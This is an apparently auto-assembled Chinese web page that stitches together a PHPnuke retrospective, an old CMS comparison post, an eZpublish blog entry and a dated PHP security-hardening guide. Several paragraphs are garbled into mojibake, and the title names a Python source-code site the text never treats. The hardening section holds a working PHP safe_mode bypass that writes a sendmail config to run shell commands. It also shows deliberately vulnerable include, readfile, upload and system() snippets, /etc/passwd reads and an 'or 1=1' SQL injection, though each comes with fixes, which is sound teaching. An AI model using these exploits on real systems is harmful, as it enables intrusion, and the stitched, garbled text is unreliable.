phpnuke(python源码分享网站)

大家好,今天小编来为大家解答以下的问题,关于phpnuke,python源码分享网站这个很多人还不知道,现在让我们一起来看看吧!

在互联网快速发展的今天,内容管理系统(CMS)已经成为了网站建设的重要工具。而PHPnuke,作为早期开源CMS的代表之一,曾经风靡一时,为无数网站提供了便捷的建站解决方案。今天,我们就来回顾一下PHPnuke的辉煌历程,探讨其在当今社会的发展前景。

一、PHPnuke的诞生与辉煌

1. 诞生背景

在21世纪初,随着互联网的普及,越来越多的企业和个人开始关注网站建设。在那个时代,建站技术尚未成熟,许多企业和个人对网站制作知之甚少。于是,一款简单易用的内容管理系统应运而生——PHPnuke。

2. PHPnuke的特点

* 开源免费:PHPnuke是一款开源免费的CMS,用户可以自由下载、使用和修改源代码。

* 功能丰富:PHPnuke支持文章发布、论坛、图片展示、在线投票等多种功能,满足用户多样化的需求。

* 易于安装:PHPnuke的安装过程简单,只需按照提示操作即可完成。

* 跨平台支持:PHPnuke支持多种操作系统和数据库,兼容性良好。

3. PHPnuke的辉煌

在PHPnuke推出后,迅速在互联网上走红。许多企业和个人选择使用PHPnuke搭建自己的网站,使其成为当时最受欢迎的CMS之一。据统计,在2000年左右,全球约有数十万个网站使用PHPnuke。

二、PHPnuke的衰落与原因

尽管PHPnuke曾经辉煌一时,但随着时间的推移,其逐渐走向衰落。以下是导致PHPnuke衰落的主要原因:

1. 功能单一

随着互联网的不断发展,用户对网站的功能需求日益多样化。而PHPnuke的功能相对单一,无法满足用户的新需求。

2. 缺乏创新

在PHPnuke发展过程中,其创新性不足。在功能和技术方面,PHPnuke与竞争对手相比,缺乏明显优势。

3. 社区支持不足

PHPnuke的社区支持逐渐减弱,导致许多问题和bug无法得到及时解决。

三、PHPnuke的复兴与展望

尽管PHPnuke已经衰落,但其仍具有一定的价值。以下是对PHPnuke复兴的展望:

1. 优化功能

针对PHPnuke功能单一的问题,可以通过增加插件、模块等方式,丰富其功能,满足用户多样化需求。

2. 引入新技术

在技术方面,PHPnuke可以引入新技术,提高其性能和安全性。

3. 加强社区支持

建立完善的社区支持体系,为用户提供技术支持和问题解答。

4. 拓展市场

将PHPnuke推广到更多国家和地区,扩大其市场份额。

四、PHPnuke与当今社会

虽然PHPnuke已经无法与当今的CMS巨头(如WordPress、Drupal等)相比,但其在早期互联网发展历程中仍具有重要地位。以下是PHPnuke与当今社会的联系:

1. 开源精神的传承

PHPnuke的开源精神对当今的互联网产业产生了深远影响。许多优秀的开源项目都继承了PHPnuke的精神,为互联网发展做出了贡献。

2. CMS技术的演进

PHPnuke的出现推动了内容管理系统技术的发展。许多现代CMS都借鉴了PHPnuke的设计理念和技术特点。

3. 网站建设的普及

PHPnuke的易用性使得网站建设变得更加简单。许多企业和个人都通过PHPnuke搭建了自己的网站。

PHPnuke作为早期开源内容管理系统的代表,曾经为无数网站提供了便捷的建站解决方案。尽管其已经衰落,但其开源精神、技术特点和对互联网发展的贡献仍值得肯定。在当今社会,PHPnuke仍有复兴的可能。通过优化功能、引入新技术、加强社区支持等方式,PHPnuke有望在新的历史时期焕发出新的活力。

哪个php的cms是以面向对象思想来编写的

CMS(ContentManagementSystem),中文叫作整站系统、文章系统,大概2004以前,如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流,但没有好的程序支持,还继续靠手工完成是不可能的事,如果有一个好的系统来支撑你的网站,那将节省大量的人力物力,开发者就可能给客户一个软件包,可以用它定期人工修改网站。只要你配置安装好,你的编辑,在线记者,更新员只要定期更新数据,剩下的事就交给CMS去处理。

===Asp===

动易CMS管理系统,官方网站:

这套是国产AspCMS中非常强大的系统,从3.0的简单的一个文章系统到现在的2005的版本,一路走来,动易不断完善,而且也不断加强功能,包括个人版,学校版,政府版,企业版,后台包括的功能,信息发布,类别管理,权限控制,信息采集,而且跟第三方的程序,比如论坛,商城(2005的已经自带了),blog可以完美结合,基本上可以满足一个中大型网站的要求,但Asp和Access的的局限性,还有本身功能Dll的限制,使得免费版差不多成鸡肋,

风讯官方网站:

风讯的系统功能强大,自由度高,是现在人气比较高的系统之一,可以根据自己的想法做出一个网页从而建立一个有自我风格的网站,更新速度快,一直有新的版本出现,现在又开放采集、下载、投稿、图片整站管理系统,第三方整合等功能,开源是它最大特点,希望保持。然后缺点就是后台人性化差了一点,上手有点难度,而且连一套默认的模板都没有,因为自由度太高了,让一些新手更难上手,还有就是免费版的生成静态发布的效率不高。3.1已经出来一段时间了,愿各方面都更上一层楼。

新云网站管理系统官方

一款Asp的CMS后起之秀,发现有不少的网站都在使用。由文章、下载、商城、留言、用户管理五大功能模块和广告、公告、连接、统计、采集、模板管理、数据库管理等多个通用模块组成,而且功能确实有一些值得称道的地方,不过又是DLL的,免费版有不少的限制,但对一个简单基本的网站来说,功能够用了。

乔客(asp)官方网站:

这个系统已经很久了,但好像一直存活在动易和风讯两者之间,现在3.0的JoekoeCMS出来了,但另我比较失望,相比免费版的1.2,功能是增强了,但也Dll,这个可能也是国产程序的一个特色罢了。它本身已经是一个融合度非常高的系统,有商城,新闻,下载,论坛,留言,影视,博客圈等,感觉有那么点WEB2.0的味道,,不想怎么修改的朋友直接拿去就可以用了。

NB文章系统(asp)官方:

现在最新的是v2.1RC1,上手挺容易,后台很简洁,安全性能不错,发布效率比较高,当然想到同类型的,RSS不错,它也是将模板写入数据库,但修改还是蛮方便。不过这样相对来说功能是少了一些,而且官方就一个论坛技术支持,论坛的人气差了一点。

渐飞新闻出版系统(asp)官方网站:

这个系统也有一段时日了,不过到现在还是1.1的版本,以前名头特别响,

不过主要针对的是商业客户,看客户演示,个个都像门户,但因为没免费版的支撑,市场也一直没做大。

大世纪(Asp)官方网站:

很老的系统,差不多就算是个文章,新闻系统,

现在连官方都打不开了,这样的估计也没多少前景。

tsys信息发布系统官方:

非常遗憾2.0刚刚出测试版,作者就好像人间蒸发一样消失了!不过对于一个免费开源,没有版权的CMS来说我们也没有什么可要求的!抛开强大,但可能不成熟(我没用过)的2.0不谈!单说1.1版!从1.1就可以说他是ASPCMS中的老大了!在TSYS的各个版本中均没有出现过重大的安全漏洞而且对于目前1.1来说已经是很完善成熟的了!tsys和一般的Asp的CMS不一样!他的功能并非由本身而定!而是根据使用者的能力而定!使用者越厉害TSYS本身也可以变的更厉害!因为TSYS可以说是一个核心!而其他的东西和功能均需要使用者自己搞定!从这点来说!TSYS的功能可以说是无限的!但这也决定了TSYS不会流行起来!说白了只有高手使用TSYS才能把TSYS的优点发挥的淋漓尽致!可惜啊….

说到php的CMS,也跟Asp差不多,可以算是百花齐放。

PhpArtile官方:

这个算是国内phpCms的祖宗了,PA由PHP语言开发,使用MySQL数据库保存数据,

为中小型网站发表文章,存放资料,新闻发布提供一个完美的解决方案。

做了好几年了,3.0迟迟还在开发中,今年出了2.1火了一阵,又熄灭了,以前用的人挺多的,

现在基本上没落了

phpcms官方:

好像以前是9466Article的官方,本来9466做得挺好的,不知为什么突然zend加密了,

继承了9466的优点,上手,结构,提供插件接口,可自主开发插件,自主制作语言包,

自主设计模板风格,免费版可永久使用,功能还可以。

OKphp

同样加密的,免费版也不见怎么有人用,系统倒是开发了好久了,整合了论坛,blog,新闻,

分有企业版,门户版,还有免费的,看起来像老外的Nuke,个人感觉没多少特别之处。

美丽心雨官方:

美丽心雨CMS是心雨动网独立开发制作的网站管理系统,基本上网站管理的功能有了,

从1.01到现在的1.4,官方的开发人员也一直在努力中。

DedeCMS官方:

这是一套令人爱憎分明的系统,首先它是国内一款开源的系统,2.x的时候功能都已经另它的fans为之疯狂,

非常灵活的定制,强大的功能,简洁的操作,但2.x的瓶颈问题:大数据处理,到3.0的时候可能会解决,

但3.0的一直跳票,迟迟不见发布,另很多人都非常失望,希望能在3.0的时候看到一个全新的Dedecms,

当然也支持开源产品。

Ss-cms官方:

作者我见过,一个非常有活力的家伙,程序跟他一样,国产的开源系统,

生成静态,信息采集,文章和下载集成,

但作者都是出于兴趣爱好开发,1.0出来后就不见踪影了,好像现在在搞书库

随意CmsezCMS官方:

程序的作者和Ss-cms的作者是好朋友,他也是出于个人爱好做这个,而且主要面向企业用户,

Cmsez集成了丰富的功能模块,(七色?…??型客户,

看七色鸟,你或许可以知道他的作品如何了。

CMSware官方:

一个非常不错的CMS系统,比较看好的他的后台操作简介,一些新技术,比如Ajax的应用,Wap的功能,

还有它的PSN的发布,节点和模块的定制,,自定义模型,数据库字段,

确实处处体现了自由的思想,让您体验自由管理的非凡感受.

Ecms帝国网站管理系统官方:

可以说这个是最让我值得写的东西,作者wm_chief是个超人,偶像啊

官方的title里面是在这里只有原创,那家伙也是疯子,

比如数据库管理,论坛,新闻,下载,flash,域名交易系统等,

还包括JSP的版本,都是自己一个人写,还有一个人搞定后期服务,客户支持,产品宣传。

还要每天抽时间灌水AD,ECMS的功能非常多,包括下载,flash,商城,图片,新闻,友情链接,广告管理等,

比如一些远程发布,刷新效率,类别管理,权限细分,万能的论坛接口,信息采集,附件管理等这些都是Ecms特别的亮点,

而且免费版也不错,作者WC也非常虚心接受客户的建议,

基本上任何一个小的功能,都力求做到最好,

他明白用户的需求,一切能从用户本身出发的系统才是好的系统,

3.6已经出来了,而且下一个版本可能会结合EXE软件发布,刷新的功能,让我们拭目以待。

ecms的典型客户

.Net

动网新闻(asp.net)

最新的4.X也出来了,也是DLL的,不过系统是.NET的,不过我个人不趋向使用DLL的系统,

运行速度快,效率高,安全做足。

不过以前3.X的没有Dll,感觉也蛮好的,

缺点就是风格改起来不容易。

现在加密了,反而能更快上手,不过这样可以定制的地方就少了。

还有一个倒奶CMS,也是.net的,不见什么特别之处,一笔带过

JSP

大概有这些:

NetarkCMS

方正翔宇CMS

开源的Magnolia

MagnoliaCMS

不过JSP的应用门槛对我们个人用户来说,有点高,也不想多提

当然还有一些系统比如说,Asp的国产FeitecCMS,WpsCms等,国外的FullXML,php的国产有MePhp,天下站长php等,

都没见多少特色,不用也罢。

TurboCMS这样只面向企业用户,几十万的系统,我们也不用考虑。

Struts中文版,Spring开源系统,GpowerCMS,还有Java的Ion,opencms,JbossNuke等老外做的,

国外的php的比如phpnuke,phppost,还有非常昂贵的phpcow,BitrixSiteManager-CMS(99),

比较廉价的Subdreamer,koobiCMS,ActiveKB团队的ArticleLiveNX,newsphp

还有免费的Xoops,功能繁多的玩意,Mambo这样的开源系统,还有Mambo的变种LimboCMS,Mamhoo。

不符合国情的,在国内也没见流行

还有国外CMS的大全:自己有空去翻翻

如果要比较老外CMS的也可以进去看看:直接选择2-10项,,有详细的列表说。

现在每个CMS功能介绍上都会说自己的产品如何强大,比如说什么模板体系如何好,

缓存技术如何高明,刷新效率,负载容量如何强,操作如何如何简单,容易上手,跟第三方无缝结合,还有功能模块的如何丰富,生成静态发布,信息采集

吹牛谁都会,大家都会写,关键是客户如何认为,反正一句话,适合自己的就是最好的。

很长时间以来,我一直在寻找一个优秀的CMS(ContentManagementSystem内容管理系统)作为自己网站的核心系统。为此我专门研究过postnuke、Xoops等一些基于LAMP架构的CMS,还研究过基于Java的OpenCMS和基于J2EE架构的JBoss的Nukes。OpenCMS是一个非常不错的系统,只可惜架构与自己的方向不符,而且需要大量的二次开发工作,只好放弃。这些CMS系统或多或少都有让自己很不满意的地方,我也并不想耗费太多的精力自己来开发一套,网站的计划甚至一度搁置了下来,直到我看到了eZpublish。

找到eZpublish还是偶然看到上左侧的eZSystems的链接,ez的网址是,一个挪威的公司开发的系统,试用后我得出了结论,它就是我一直在寻找的东西。

在CMS选型的过程中我经常的问自己,什么才是好的CMS?

首先是语言的选择,是基于Java的还是PHP的呢?因为我本人以前是从事Java的开发工作,钟情于Java优美的语言风格和架构,所以一度考虑采用OpenCMS,而且OpenCMS号称可以承受很大强度的访问量,这听起来似乎很诱人。然而我在研究它的过程中发现OpenCMS复杂且庞大,文档过时,需要花费大量的精力进行二次开发,作为业余时间搞网站的我们来说的确没有这个精力,于是只好放弃。现在要我回头看这个问题,我认为我的选择是正确的,选择CMS要考虑到自身的二次开发和日后维护的能力与精力耗费以及网站的业务需要,选择开发维护快速方便和自己也比较熟悉的的LAMP架构已经能适应我网站的需要。

其次,在基于LAMP架构的CMS系统中进行横向比较时,优劣比较明显。postnuke与Xoops这类CMS应该说十分的简单易用,基本上不需要做什么二次开发,基础功能就可以满足一般的需要。

而eZpublish相比起来要专业和庞大的多,它有自己专有的核心库和模版语言,面向对象的思想在eZ里体现的十分明显,甚至在它的配置文件中都有体现,内容与形式的分离做得相当好,扩展方便。而且它本身自带有article、gallery、webshop和forum等这些我所需要的功能,不需要再二次开发,十分的方便。而且在上有关于eZpublish的详细开发和使用文档可供参考。

eZpublish是eZSystem公司发布的,专业的公司保证了系统以后的升级与维护的持续性,这一切都是我选择eZ的理由。

在整个CMS选型直到确定下eZpublish后,我发现这个过程持续时间是漫长而又痛苦的。经历了许多的波折,但也的确是值得的,毕竟CMS是整个网站的核心,很庆幸有eZpublish的存在而且我也发现了它。

一个好消息,eZpublish3.5近两天就会推出最终版了,而我的两个网站与也将陆续推出。首先在12月初推出的将是关于LAMP与网站建设的技术性网站,是基于eZpublishCMS的网站,届时会有更多关于LAMP与开源项目的技术文章,敬请大家留意。

这个过程中一个决定性的因素就是网站构建技术和网站本身的服务内容之间的分离。几年前,在BLOGGER之前,要想在网络上顺利的发表,还真的需要知道一点技术,而现在,大多数天天书写着BLOG的人,都是没有任何技术背景的普通用户。随着开源CMS项目如火如茶的发展趋势,加上未来主机托管或者虚拟主机租用费用的不断降低,一个不具备专业网络技术知识的人,都可以轻易的建立自己的网站,如果说这几年BLOG的发展解放了普通民众的发言权,这种功能更为复杂的CMS系统的发展,将会促使那些更加会创造,会关心别的用户的需求的人的创造得到利益上的回报。知识有价,但会是更合理的方式。

甚至,可以预言,这可能会是一轮新的去中心化的开始,即中小型网站对大型内容门户的蚕食的开始。内容是互联网的生命,内容管理系统将那些深藏在用户内心深处的想法流畅的表达出来,从而使整个网络充满活力。其实你稍稍想一想就可以发现,这本身并不是什么“蚕食”,因为这些内容门户才是内容事实上的掠夺者,越来越多的报纸对新浪等的“海量”转载产生不满只是这个事实的冰山一角。

将来转载型的网站的重要性一定会不断降低,除非它在这个过程中创造了新的对用户有利的价值,随着GOOGLE算法的改进,将来出现在搜索结果首页的东西一定是那些用户最想需要的东西,而且是一定是那些创造者的网页。

所以现在很关注CMS系统的情况,正好,OPENSOURCECMS进行了一个最佳网站内容管理系统的投票评选,不如就从这里入手去探寻CMS系统的情况。

现在排在前5名,也就是最终入围项目的名单是:

Drupal

e107

Joomla!

Plone

Xoops

如果还没解决你的问题,可以加我百度HI账号。

php安全配置 如何配置使其更安全

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]

; For Win32 only.

SMTP= localhost

; For Win32 only.

sendmail_from= me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

<? mail(“foo@bar,”foo”,”bar”,””,$bar);?>

执行如下的URL:

evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

<?

#注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样

$script=”/tmp/script123″;

$cf=”/tmp/cf123″;

$fd= fopen($cf,”w”);

fwrite($fd,”OQ/tmp

Sparse=0

R$*”. chr(9).”$#local$@$1$:$1

Mlocal, P=/bin/sh, A=sh$script”);

fclose($fd);

$fd= fopen($script,”w”);

fwrite($fd,”rm-f$script$cf;”);

fwrite($fd,$cmd);

fclose($fd);

mail(“nobody”,””,””,””,”-C$cf”);

?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf,.htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_/PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode= On

或者修改httpd.conf,定义目录:

<Directory/var/www>

Options FollowSymLinks

php_admin_value safe_mode 1

</Directory>

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

<?include(“index.html”)?>

几个文件的属性如下:

# ls-la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25.

drwxr-xr-x 16 root root 384 Jul 18 12:02..

-rw-r–r– 1 root root 4110 Oct 26 2002 index.html

-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access./index.html owned by uid/gid 0/0 in/var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid= On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls-l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir=/usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string

当从此目录及其子目录(目录必须在 include_path中或者用完整路径来包含)包含文件时越过 UID/GID检查。

从 PHP 4.2.0开始,本指令可以接受和 include_path指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir=/dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir=/dir/incl/”。

safe_mode_allowed_env_vars string

设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_开头的环境变量(例如 PHP_FOO= BAR)。

注:如果本指令为空,PHP将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv()来改变这些环境变量。甚至在 safe_mode_allowed_env_vars中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals= On,对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order=”EGPCS”(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

<?

//test_1.php

if($pass==”hello”)

$auth= 1;

if($auth== 1)

echo”some important information”;

else

echo”nothing”;

?>

攻击者只需用如下的请求就能绕过检查:

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals= Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals= Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

<?

//test_2.php

if(!($str= readfile(“$filename”))){

echo(“Could not open file:$filename<BR>\n”);

exit;

}

else{

echo$str;

}

?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

如下请求可以读php文件本身:

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

<Directory/usr/local/apache/htdocs>

php_admin_value open_basedir/usr/local/apache/htdocs

</Directory>

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

<?

//test_3.php

if(file_exists($filename))

include(“$filename”);

?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,的内容是<?passthru(“ls/etc”)?>,那么如下的请求就可以在目标主机执行命令ls/etc:

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

<?

//test_4.php

include(“$lib/config.php”);

?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen= Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file#就是保存到服务器端的临时文件(如/tmp/phpxXuoXG)

$file_size#上传文件的大小

$file_name#上传文件的原始名称

$file_type#上传文件的类型

推荐使用:

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

这是一个最简单的文件上传代码:

<?

//test_5.php

if(isset($upload)&&$file!=”none”){

copy($file,”/usr/local/apache/htdocs/upload/”.$file_name);

echo”文件”.$file_name.”上传成功!点击<a href=\”$PHP_SELF\”>继续上传</a>”;

exit;

}

?>

<html>

<head>

<title>文件上传</title>

<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>

</head>

<body bgcolor=”#FFFFFF”>

<form enctype=”multipart/form-data” method=”post”>

上传文件:

<input type=”file” name=”file” size=”30″>

<input type=”submit” name=”upload” value=”上传”>

</form>

</body>

</html>

这样的上传代码存在读取任意文件和执行命令的重大问题。

下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

… ile_name=attack.txt

然后可以用如下请求读取口令文件:

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。

攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。

攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。

使用$HTTP_POST_FILES数组来读取用户上传的文件变量。

严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。

严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。

对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

<Directory/usr/local/apache/htdocs/upload>

php_flag engine off

#如果是php3换成php3_engine off

</Directory>

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

<?

//test_6.php

system(“traceroute$a_query”,$ret_strs);

?>

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat/etc/passwd命令:

PHP的命令执行函数还有system(), passthru(), popen()和“等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select* from login where user=$user and pass=$pass

攻击者可以用户名和口令都输入1 or 1=1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc= On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select* from login where user=1\ or 1=\1 and pass=1\ or 1=\1

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select* from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。

即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。

在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE…这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting= E_ALL&~E_NOTICE

display_errors= On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。

正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

修改php.ini中关于Error handling and logging部分内容:

error_reporting= E_ALL

display_errors= Off

log_errors= On

error_log=/usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions= phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

